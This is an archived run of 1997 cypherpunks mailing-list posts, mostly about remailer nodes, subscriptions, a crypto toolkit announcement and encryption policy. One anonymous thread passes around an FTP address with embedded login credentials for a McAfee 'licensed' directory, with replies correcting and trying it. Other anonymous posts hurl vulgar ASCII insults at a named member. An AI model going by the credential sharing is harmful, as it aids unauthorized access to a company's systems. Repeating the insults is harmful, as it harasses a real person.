-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM4hxb49Co1n+aLhhAQGzrQP/d27uCWY944vheZ1fYAEzn7xcl8f391jc
fmDwPFFTdrm9+7s1ZXZVLsGPIEEJIQ9wRWjkQh90wBWHKf881s8WIL26fI/GSwOM
aUVdzkwexkEh7A5WLuSMPzgPPQhW/K5Vevb9aS3r5jZiz6upFx+Axhj4SRlBcBLU
+Rnyety6veI=
=vmBu
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Mon, 26 May 1997 03:08:09 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199705251828.LAA28714@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy May is so full of shit that some of it bursts out on this mailing list.

         \|||/
         (o o)
     -ooO-(_)-Ooo- Timothy May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Mon, 26 May 1997 01:32:02 +0800
To: cypherpunks@einstein.ssz.com (Cypherpunks Distributed Remailer)
Subject: CDR & SSZ
Message-ID: <199705251643.LAA24714@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Hi,

I am in the process of expanding my business. While this will not effect the
stability of the Cypherpunks Distributed Remailer, in fact we hope to make it
more stable, it will mean some additional resources being available in the
near future. I unfortunately can't say more on this now.

However, I can say that 'CyberTects' will most likely cease to exist in a
matter of days. It will be subsumed in the creation of a newer and larger
business entity (we are currently fighting over the name). This new entity
will be taking on the SSZ network & its user base. I will still be directly
responsible for the operation and customer satisfaction of SSZ users.

There will be more announcements in the near future. However, if you have
specific questions (no answer promised) please feel free to send them to me.


                                                    Jim Choate
                                                    CyberTects
                                                    ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Mon, 26 May 1997 01:47:11 +0800
To: cypherpunks@einstein.ssz.com (Cypherpunks Distributed Remailer)
Subject: SSZ Lag Test (fwd)
Message-ID: <199705251654.LAA24764@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Forwarded message:

> From: "William H. Geiger III" <whgiii@amaranth.com>
> Date: Sun, 25 May 97 11:05:39 -0500
> Subject: SSZ Lag Test

> 

Timing responces from SSZ should probably be averaged about 8-10 times a day
for about a week to get a good idea of what to expect. The majority of the
time the system is not heavily using the ISDN nor are many users logged in.
However, two of my users transmit large blocks of data (one is video and the
other is a web-spider) w/o warning and make a significant impact. We also
tend to have very spikey web access.

                                                     Jim Choate
                                                     ?
                                                     ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 26 May 1997 01:03:28 +0800
To: franl@world.std.omit-this.com (Francis Litterio)
Subject: Re: Too few cypherpunks nodes. (fwd)
In-Reply-To: <3388646b.353562586@world.std.com>
Message-ID: <199705251654.LAA30125@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Francis Litterio wrote:
> (ichudov@algebra.com) wrote:
> 
> > Maybe we should put together a short document describing what cypherpunks
> > lists are there and how to choose them. We can mentions all nodes -- ssz,
> > cyberpass, and algebra -- in that document.
> 
> I've tried to do that on my Cypherpunks-overview Web page at
> 
> 	http://world.std.com/~franl/crypto/cypherpunks.html
> 

Cool! The only paragraph that needs fixing is this:

Page> To subscribe to one of the Cypherpunks mailing list distribution points
Page> send email to (one of) majordomo@algebra.com,
Page> majordomo@sirius.infonex.com, or majordomo@cyberpass.net with the
Page> following text in the body of your email message:

Actually, infonex and cyberpass are the same place. Instead, you
can list majordomo@ssz.com, majordomo@cyberpass.net, and
majordomo@algebra.com.


	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Mon, 26 May 1997 03:03:46 +0800
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: GAK
In-Reply-To: <199705251746.KAA29719@fat.doobie.com>
Message-ID: <Pine.A41.3.95.970525124220.89548A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 25 May 1997, Huge Cajones Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to him.


> Timothy C[unt] May carries a turd in his wallet for identification purposes.
> 
>       \|||/
>       (o o)
>   -ooO-(_)-Ooo- Timothy C[unt] May
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 26 May 1997 01:20:30 +0800
To: cypherpunks@toad.com
Subject: Crypto Policy Paper
Message-ID: <1.5.4.32.19970525165622.0089d0d4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


We offer a paper distributed at the recent NYC crypto 
forum, 

"Private Groups and Public Policy: Cryptography 
and the National Research Council," 

by Kenneth Dam, professor of law at the University of
Chicago, a panelist at the forum, and chair of the 
NRC panel which produced the report "Cryptography's 
Role in Securing the Information Society," May, 1996.

   http://jya.com/damrole.htm  (63K)

Professor Dam recounts the impact of the NRC report
on the Administration's encryption policy as an example
of how private groups help shape public policy.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Mon, 26 May 1997 04:19:05 +0800
To: cypherpunks@toad.com
Subject: Washington Post on crypto
Message-ID: <Pine.GSO.3.95.970525125909.21909B-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain


Does anyone have a cite to last fall's wrongheaded Washington Post
editorial on crypto? My easily-accessible archives go back only to last
November.

-Declan







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Mon, 26 May 1997 04:54:53 +0800
To: Mix <mixmaster@remail.obscura.com>
Subject: Re: your mail
In-Reply-To: <199705251828.LAA28714@sirius.infonex.com>
Message-ID: <Pine.A41.3.95.970525143746.51986A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 25 May 1997, Mix wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Timothy May is so full of shit that some of it bursts out on this mailing list.
> 
>          \|||/
>          (o o)
>      -ooO-(_)-Ooo- Timothy May
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: franl@world.std.omit-this.com (Francis Litterio)
Date: Mon, 26 May 1997 00:31:09 +0800
To: cypherpunks@algebra.com
Subject: Re: Too few cypherpunks nodes. (fwd)
In-Reply-To: <199705250454.XAA26987@manifold.algebra.com>
Message-ID: <3388646b.353562586@world.std.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 24 May 1997 23:54:06 -0500 (CDT), Igor Chudov
(ichudov@algebra.com) wrote:

> Maybe we should put together a short document describing what cypherpunks
> lists are there and how to choose them. We can mentions all nodes -- ssz,
> cyberpass, and algebra -- in that document.

I've tried to do that on my Cypherpunks-overview Web page at

	http://world.std.com/~franl/crypto/cypherpunks.html

The Cypherpunks Home Page at

	http://www.csua.berkeley.edu/cypherpunks/Home.html

is out of date regarding the state of the mailing list (and has many
broken links as well).  As I type this, the above host is up but its
Web server is not.
--
Francis Litterio                           PGP Key Fingerprint:
franl@world.std.omit-this.com              02 37 DF 6C 66 43 CD 2C
http://world.std.omit-this.com/~franl/     10 C8 B5 8B 57 34 F3 21
Note: email address and WWW URL altered to prevent spam.

"They that can give up essential liberty to obtain a little temporary 
 safety deserve neither liberty nor safety." -- Ben Franklin, ~1784





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 26 May 1997 05:39:58 +0800
To: Jim Choate <ravage@einstein.ssz.com>
Subject: Re: SSZ Lag Test (fwd)
In-Reply-To: <199705251654.LAA24764@einstein.ssz.com>
Message-ID: <199705252131.QAA05144@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <199705251654.LAA24764@einstein.ssz.com>, on 05/25/97 
   at 11:54 AM, Jim Choate <ravage@einstein.ssz.com> said:

>Forwarded message:

>> From: "William H. Geiger III" <whgiii@amaranth.com>
>> Date: Sun, 25 May 97 11:05:39 -0500
>> Subject: SSZ Lag Test

>> 

>Timing responces from SSZ should probably be averaged about 8-10 times a
>day for about a week to get a good idea of what to expect. The majority
>of the time the system is not heavily using the ISDN nor are many users
>logged in. However, two of my users transmit large blocks of data (one is
>video and the other is a web-spider) w/o warning and make a significant
>impact. We also tend to have very spikey web access.

Hi Jim,

I currently calculate message lag on all cypherpunks messages as part of
my logging process. I will use these figures to calculate both daily &
weekly max/min/avg. Later on I will include lag between servers ie: a
message posted to algebra and received from cyberpass what is the lag.

In the orriginal message posted "SSZ Lag Test" I have not received this
message from the SSZ server or the cyberpass server only the algebra
server. I have subscribed to the ssz server but have not received any mail
from this server yet. I did receive the following message but am not sure
if I am properly subscribed or not.

To: whgiii@amaranth.com
From: Majordomo@EINSTEIN.ssz.com
Subject: Majordomo results: subscribe cypherpunks@ssz.com
Reply-To: Majordomo@EINSTEIN.ssz.com
X-UIDL: 864570204.000

- --

>>>> subscribe cypherpunks@ssz.com

Please let me know if there is a problem with the cyberpass link or if
there is a problem with my subscription to the ssz.com server.

Thanks,


- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.                        
- -----------------------------------------------------------
 
Tag-O-Matic: Windows?  Homey don't play that!

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered_User_E-Secure_v1.1b1_ES000000

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PF+y2CWBL1Q=
=G08f
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brian Durham <bdurham@swbell.net>
Date: Mon, 26 May 1997 06:51:17 +0800
To: cypherpunks@toad.com
Subject: Re: Message
In-Reply-To: <19970525221757.21291.qmail@squirrel.owl.de>
Message-ID: <3388BE3E.5152@swbell.net>
MIME-Version: 1.0
Content-Type: text/plain


> ftp://licenced:321@ftp.mcafee.com/licenced/

Login incorrect





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 26 May 1997 10:25:52 +0800
To: cypherpunks@algebra.com
Subject: Re: Message
Message-ID: <199705260216.TAA13774@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:17 PM 5/25/97 -0000, Secret Squirrel doth wrote:
>
>ftp://licenced:321@ftp.mcafee.com/licenced/

Anyone try this site?  I couldn't connect.


The Pie Guy
        





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Igor Chudov @ home" <ichudov@algebra.com>
Date: Mon, 26 May 1997 08:58:32 +0800
To: cypherpunks@manifold.algebra.com
Subject: Re: CFV: moderate sci.cryonics
Message-ID: <199705260048.TAA06749@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text/plain


Lewis McCarthy (lmccarth@cs.umass.edu) wrote 
* [various newsgroups removed from the distribution]
* Eli the Bearded writes:
* > help prevent the moderator or a third party from inventing
* > posts from people. (If someone always posts from the Lucifer remailer
* > how can you tell real posts from that person from fakes? They all
* > look a like.)
* 
* Three words: "public key cryptography"
* 
* Note that unsigned Usenet articles can be forged by anyone,
* regardless of whether or not they're sent through an anonymizer.
* Unsigned articles only give the illusion of authentication. At
* least with anonymized articles, most people realize more readily
* that there's no real proof of identity present (as you noted above).

That is correct. A moderated newsgroup can be set up such that messages
coming from certain addresses can be required to be digitally signed.
This requirement, of course, does not have to apply to all users and can
be done on a voluntary basis.

Anonymous users can also enjoy the benefits of authentication, if they
submit their public keys to the moderator (with the key address set
to something like space@alien.nowhere) and request that all messages
coming with the address "space@alien.nowhere" be authenticated.

This is a very positive aspect of moderated groups, since anonymous posters
can enjoy both anonymity and reputation.

The other concern here seems to be forgers who forge valid addresses of
existing users. Again, a moderated group has a great flexibility to 
introduce SOME authentication without even the need for using public
key cryptography.

The moderator can set up a password-based system. Anyone can request a 
password sent to them by sending an email to password@moderation.site.com.
A unique password will be generated, stored and sent back to the
requestor. The address that had been assigned the password gets on the
"watch list" and all article submissions from that address would be
checked for presence of the password. Of course, a password needs to be
wiped out from the message priot to teh approval.

As long as email remains private (ie, there is no man in the middle or any
sniffers acting), this scheme is secure. Again, it may be either purely 
voluntary or mandatory.

Of course, anonymous users need special treatment since they are unable to
receive email. Such users may continue to use PGP.

igor





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <ryan@michonline.com>
Date: Mon, 26 May 1997 08:38:07 +0800
To: Brian Durham <bdurham@swbell.net>
Subject: Re: Message
In-Reply-To: <3388BE3E.5152@swbell.net>
Message-ID: <Pine.GSO.3.95.970525202025.15362A-100000@king>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 25 May 1997, Brian Durham wrote:

> > ftp://licenced:321@ftp.mcafee.com/licenced/
> 
> Login incorrect
> 
> 
Spell licensed correctly.

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
ryan@michonline.com                           Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: rsaeuro@repertech.com (RSAEuro General)
Date: Mon, 26 May 1997 05:11:18 +0800
To: cypherpunks@toad.com
Subject: ANNOUNCE:- RSAEuro Version 1.04 (Internet) and 1.10 (Commercial)
Message-ID: <3390a11e.23733547@sourcery>
MIME-Version: 1.0
Content-Type: text/plain


ANNOUNCE:- RSAEuro Version 1.04 (Internet) and 1.10 (Commercial)
================================================================

What is RSAEuro?
----------------

RSAEuro is a cryptographic toolkit providing various functions
for the use of digital signatures, data encryption and supporting
areas (PEM encoding, random number generation etc).  To aid
compatibility with existing software, RSAEuro is call-compatible
with RSADSI's "RSAREF(tm)" toolkit. RSAEuro allows non-US
residents to make use of much of the cryptographic software
previously only (legally) available in the US.

RSAEuro contains support for the following:

*    RSA encryption, decryption and key generation.  Compatible
     with 'RSA Laboratories' Public-Key Cryptography Standard
     (PKCS) #1.

*    Generation and verification of message digests using MD2,
     MD4, MD5 and SHS (SHS currently not implemented in
     higher-level functions to maintain compatibility with
     PKCS).

*    DES encryption and decryption using CBC (1, 2 or 3 keys
     using Encrypt-Decrypt-Encrypt) and DESX(tm), RSADSI's
     secure DES enhancement. Blowfish and RRC.2 encryption and
     decryption using CBC (available in commercial versions
     only).

*    Diffie-Hellman key agreement as defined in PKCS #3.

*    PEM support support for RFC 1421 encoded ASCII data with
     all main functions.

*    Key routines implemented in assembler for speed (80386 and
     680x0 currently supported).

*    Much improved library documentation with code samples.

International Use
-----------------

IMPORTANT NOTICE:  Please do not distribute or use this software
in the US it is 'illegal' to use this toolkit in the US, as RSADSI and
Cylink hold patents relating to public-key cryptography.  If you are a
US resident, please use the RSAREF toolkit instead.

On The Web
----------

RSAEuro can now be found at

http://www.repertech.com/RSAEuro.html

Author Details
--------------

With comments and suggestions, please address them to Stephen Kapp, at
'rsaeuro@repertech.com', for documentation comments suggestions
please address them to Nick Barron, at 'nikb@repertech.com'
----------------------------------------------------------------------------
RSAEURO:      rsaeuro@repertech.com
RSAEURO Bugs: rsaeuro-bugs@repertech.com
Tel:          +44 (0)370 566687
Http:         http://www.repertech.com/RSAEuro.html

RSAEURO - Copyright (c) J.S.A.Kapp 1994-1997.
----------------------------------------------------------------------------
RSAEURO - Cryptography for the World.
Reaper Technologies - Computer Security Specialists





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Mon, 26 May 1997 06:39:13 +0800
To: cypherpunks@toad.com
Subject: Message
Message-ID: <19970525221757.21291.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain


ftp://licenced:321@ftp.mcafee.com/licenced/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 26 May 1997 13:06:17 +0800
To: cypherpunks@toad.com
Subject: Re:
In-Reply-To: <199705260352.FAA05338@basement.replay.com>
Message-ID: <199705260452.XAA10160@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3954.1071713701.multipart/signed"

--Boundary..3954.1071713701.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

In <199705260352.FAA05338@basement.replay.com>, on 05/25/97 
   at 09:52 PM, nobody@REPLAY.COM (Anonymous) said:

> >ftp://licenced:321@ftp.mcafee.com/licenced/

> >> Anyone try this site?  I couldn't connect.

> >> The Pie Guy


>The correct adress is:

>ftp://licensed:321@ftp.mcafee.com/licensed/

>The /security dir is quite interesting...

>(This message was encrypted with an unregistered copy of AutoPGP 2.2 3.)
                   ^^^^^^^^^

nice encryption job. :)))

-- 
-----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.                        
-----------------------------------------------------------
 
Tag-O-Matic: Windows NT: From the makers of Windows 3.1!


--Boundary..3954.1071713701.multipart/signed
Content-Type: application/octet-stream; name="pgp00001.pgp"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="pgp00001.pgp"
Content-Description: "PGP signature"

LS0tLS1CRUdJTiBQR1AgTUVTU0FHRS0tLS0tClZlcnNpb246IDIuNi4yCkNv
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bzIwUmR1UE1RNjE1ejVwL096UWs3L3QKN2FRci81TTBkZ1FoZkFYWm0xQnd1
cVRFUzRuaVZYTW41eUFWUDdhOVY5aGk5VzlQMlRmSUNYQ3VLY1N2a0RkVAow
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NXVIYjFMV05CcVFTeExXYkxyClltNittcDdvL0N3PQo9MlQ1RAotLS0tLUVO
RCBQR1AgTUVTU0FHRS0tLS0t
--Boundary..3954.1071713701.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Mon, 26 May 1997 16:08:06 +0800
To: cypherpunks@algebra.com
Subject: Nym Servers
Message-ID: <3.0.2.32.19970526005335.03d3ec60@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


As well as active Cypherpunks mirrors, have there been many new nym servers
coming into existance?  Most of them seem to have been dying on the vine.

Info on new or existing nym servers appreciated.  (I am not certain in Raph
has been covering them on the remailer list.)


---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cpunks@algebra.com
Date: Mon, 26 May 1997 15:35:10 +0800
To: cypherpunks@manifold.algebra.com
Subject: BOUNCE cypherpunks@Algebra.COM:     Admin request of type /\bsub-scri-be
Message-ID: <199705260726.CAA09125@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


----- Forwarded message from owner-cypherpunks@algebra.com -----

>From owner-cypherpunks@Algebra.COM  Sun May 25 13:49:13 1997
Date: Sun, 25 May 1997 13:49:12 -0500
From: owner-cypherpunks@algebra.com
Message-Id: <199705251849.NAA31543@manifold.algebra.com>
To: owner-cypherpunks@Algebra.COM
Subject: BOUNCE cypherpunks@Algebra.COM:     Admin request of type /\bsub-s-c-ribe\b/i at line 6  

>From cpunks@manifold.algebra.com  Sun May 25 13:48:58 1997
Return-Path: <cypherpunks-errors@toad.com>
Received: (from root@localhost) by manifold.algebra.com (8.8.5/8.8.2) with UUCP id NAA31470 for cypherpunks+incoming-toad@algebra.com; Sun, 25 May 1997 13:48:57 -0500
Received: from toad.com (toad.com [140.174.2.1])
	by www.video-collage.com (8.8.5/8.8.5) with ESMTP id OAA29060
	for <cypherpunks+incoming-toad@algebra.com>; Sun, 25 May 1997 14:44:48 -0400 (EDT)
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	for <cypherpunks@toad.com>; Sun, 25 May 1997 14:46:18 -0400
Date: Sun, 25 May 1997 14:46:18 -0400
Message-Id: <199705251846.OAA18559@linux.nycmetro.com>
To: cypherpunks@toad.com
Subject: Re: Too few Cypherpunks nodes
X-Sender: Private Idaho 2.8b3
Sender: owner-cypherpunks@toad.com
Precedence: bulk


-----BEGIN PGP SIGNED MESSAGE-----

> (ichudov@algebra.com) wrote:

>> To sub-scr-ibe to one of the Cypherpunks mailing list distribution points
>> send email to (one of) majordomo@algebra.com, 
>>majordomo@sirius.infonex.com, or majordomo@cyberpass.net with the 
>>following text in the body of your email message:

> Actually, infonex and cyberpass are the same place. Instead, you
> can list majordomo@ssz.com, majordomo@cyberpass.net, and
> majordomo@algebra.com.


I've also put the same info into "PGPSteps" 
(http://bureau42.base.org/public/pgpsteps.txt)

Ciao

Harka


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

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NY+2TUlzGbpY7/okLHhNACLx2g4TKmcNFMUYYPDn3cfcTbVjRGYAwAxhDViY43DC
7dD5XzBx/dAREHWd7pqK7JPJLSYgd8MqKMbiZy2PDWLcbUyS0gk9YPLStRhjSrKl
WGtQtXYYJxlOD27RQnWHMoPkt76PuXsts0/qv7tt3fuuakW6mZx/ebZ/3vquR5sC
YbxHVul2PcKHLixOPo/uduOCntz58LXe4k9cZFNs1/YbxcsNWQVPL4rx9jY7F8BE
4/DFZtvplY8XqVLc3EvMd2KQRyefXGxF+owEAjKjO8HlZUAVO54k3w==
=XDyj
-----END PGP SIGNATURE-----

----- End of forwarded message from owner-cypherpunks@algebra.com -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cpunks@algebra.com
Date: Mon, 26 May 1997 15:42:46 +0800
To: cypherpunks@manifold.algebra.com
Subject: BOUNCE cypherpunks@Algebra.COM:     Admin request of type /\bsub-scri-be
Message-ID: <199705260727.CAA09157@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


----- Forwarded message from owner-cypherpunks@algebra.com -----

>From owner-cypherpunks@Algebra.COM  Sun May 25 12:13:02 1997
Date: Sun, 25 May 1997 12:13:00 -0500
From: owner-cypherpunks@algebra.com
Message-Id: <199705251713.MAA30334@manifold.algebra.com>
To: owner-cypherpunks@Algebra.COM
Subject: BOUNCE cypherpunks@Algebra.COM:     Admin request of type /\bsub-s-cr-ibe\b/i at line 6  

>From cpunks@manifold.algebra.com  Sun May 25 12:12:46 1997
Return-Path: <cpunks@einstein.ssz.com>
Received: (from root@localhost) by manifold.algebra.com (8.8.5/8.8.2) with UUCP id MAA30320 for cypherpunks@algebra.com; Sun, 25 May 1997 12:12:42 -0500
Received: from einstein.ssz.com (root@einstein.ssz.com [204.96.2.99])
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	for <cypherpunks@algebra.com>; Sun, 25 May 1997 13:11:02 -0400 (EDT)
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From: Jim Choate <ravage@einstein.ssz.com>
Message-Id: <199705251637.LAA24662@einstein.ssz.com>
Subject: Re: Too few cypherpunks nodes. (fwd)
To: cypherpunks@einstein.ssz.com (Cypherpunks Distributed Remailer)
Date: Sun, 25 May 1997 11:37:13 -0500 (CDT)
X-Mailer: ELM [version 2.4 PL23]
Content-Type: text
Sender: owner-cypherpunks@einstein.ssz.com
Precedence: bulk
X-Mailing-List: cypherpunks@ssz.com
X-List-Admin: list@ssz.com
X-Loop: ssz.com

Forwarded message:

> Date: Sun, 25 May 1997 11:54:37 -0500 (CDT)
> From: ichudov@algebra.com (Igor Chudov @ home)

> Page> To sub-scr-ibe to one of the Cypherpunks mailing list distribution points
> Page> send email to (one of) majordomo@algebra.com,
> Page> majordomo@sirius.infonex.com, or majordomo@cyberpass.net with the
> Page> following text in the body of your email message:
> 
> Actually, infonex and cyberpass are the same place. Instead, you
> can list majordomo@ssz.com, majordomo@cyberpass.net, and
> majordomo@algebra.com.

How about:

To sub-s-c-r-ibe to the Cypherpunks Distributed Remailer is a little different
than most mailing lists you may have experienced. The reason is that the
list consists of several indipendent systems passing traffic from each
system to the others. They use a mutualy agreed upon method for deleting
multiple copies. Since all the remailers share a commen remailer package,
namely Majordomo, they have a commen interface. The actual mechanism of
sub-scr-ip-tion is to send 'majordomo@<system>' an email with 'sub-scr-ibe
cypherpunks' in the body.

As of <insert date here> the available <system> are:

 albegra.com
 ssz.com (human mailing list help is available at list@ssz.com)
 cyberpass.net

[To avoid bias I suggest sorting alphabeticaly by domain and then system
 name]


                                               Jim Choate
                                               CyberTects
                                               ravage@ssz.com

----- End of forwarded message from owner-cypherpunks@algebra.com -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 26 May 1997 12:14:05 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199705260352.FAA05338@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


 >ftp://licenced:321@ftp.mcafee.com/licenced/

 >> Anyone try this site?  I couldn't connect.

 >> The Pie Guy


The correct adress is:

ftp://licensed:321@ftp.mcafee.com/licensed/

The /security dir is quite interesting...

(This message was encrypted with an unregistered copy of AutoPGP 2.2ß3.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Mon, 26 May 1997 14:56:47 +0800
To: John Young <cypherpunks@cyberpass.net>
Subject: NYC Crypto & MB [was Re: Jim Bell Complaint]
In-Reply-To: <1.5.4.32.19970524011320.0094f5f4@pop.pipeline.com>
Message-ID: <199705260646.AAA20735@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970523:2113 John Young <jya@pipeline.com> expostulated:

+Time to study and ponder the 1st Amend -- which, by the way, Matt Blaze
+did at the NYC crypto forum last night to challenge Charney and
+Denning. Matt pulled out a copy and cited it, which may be a good
+indication of what he knows that we don't about what's coming.

    not only the gawd-awful truth, but the gawd-awful _fear_.

    Bubba's hypocrasy at U. Conn will shortly be proved in spades
    as the first amendment falls "...in the interest of national 
    security...."

    or the evidence of NWMBs (New World Mega Business) with the 
    impending transfer of the US Patent office into a private 
    enterprise for the more expedient rape, pillage, and burn of 
    development by NWMBs.

    Government in the sunshine is a hoax --our so called government, a 
    government of greed and power, can not afford our sunshine.

 ______________________________________________________________________
  Surveillance is ultimately just another form of entertainment.
 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM4kxf704kQrCC2kFAQEu1wQAojdOhDZdiFlX6mStOmGN+4tXcqHI6lCs
GWrkZUeRK726lXq1RlxPSMF7zJOTjJsrISxpG1oWRONhwW1qOospYTdWyI3U8q6w
ZJCeGCelckHcqCOSirieolMxZv2K3dWv3ZZTv3CJ718Yv9XYVPo3oCBrayV7t+Pf
5Tt2//o8ffM=
=lvqZ
-----END PGP SIGNATURE-----







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 26 May 1997 22:16:20 +0800
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199705261350.GAA21499@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

